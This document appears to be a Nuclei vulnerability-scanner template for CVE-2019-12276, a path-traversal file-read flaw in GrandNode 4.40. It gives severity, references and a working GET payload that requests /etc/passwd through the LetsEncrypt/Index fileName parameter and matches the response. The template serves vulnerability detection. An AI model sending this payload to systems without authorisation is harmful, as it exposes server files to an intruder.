id: CVE-2019-12276 info: name: GrandNode 4.40 - Local File Inclusion author: daffainfo severity: high description: | GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. remediation: | A patch for this issue was made on 2019-05-30 in GrandNode 4.40. reference: - https://security401.com/grandnode-path-traversal/ - https://grandnode.com - https://github.com/grandnode/grandnode - https://nvd.nist.gov/vuln/detail/CVE-2019-12276 - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-12276 cwe-id: CWE-22 epss-score: 0.96216 epss-percentile: 0.99352 cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grandnode product: grandnode tags: packetstorm,cve,cve2019,lfi,grandnode http: - method: GET path: - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" headers: Connection: close matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402200fd85a50b9a6f83c460344678036f5c20819000d98e160a8d6dfb8d4a097159802201de5c6e58cc45e3502de7eec5d430528110e9189c0dcbbc6e7c01ebb7d294d9d:922c64590222798bb761d5b6d8e72950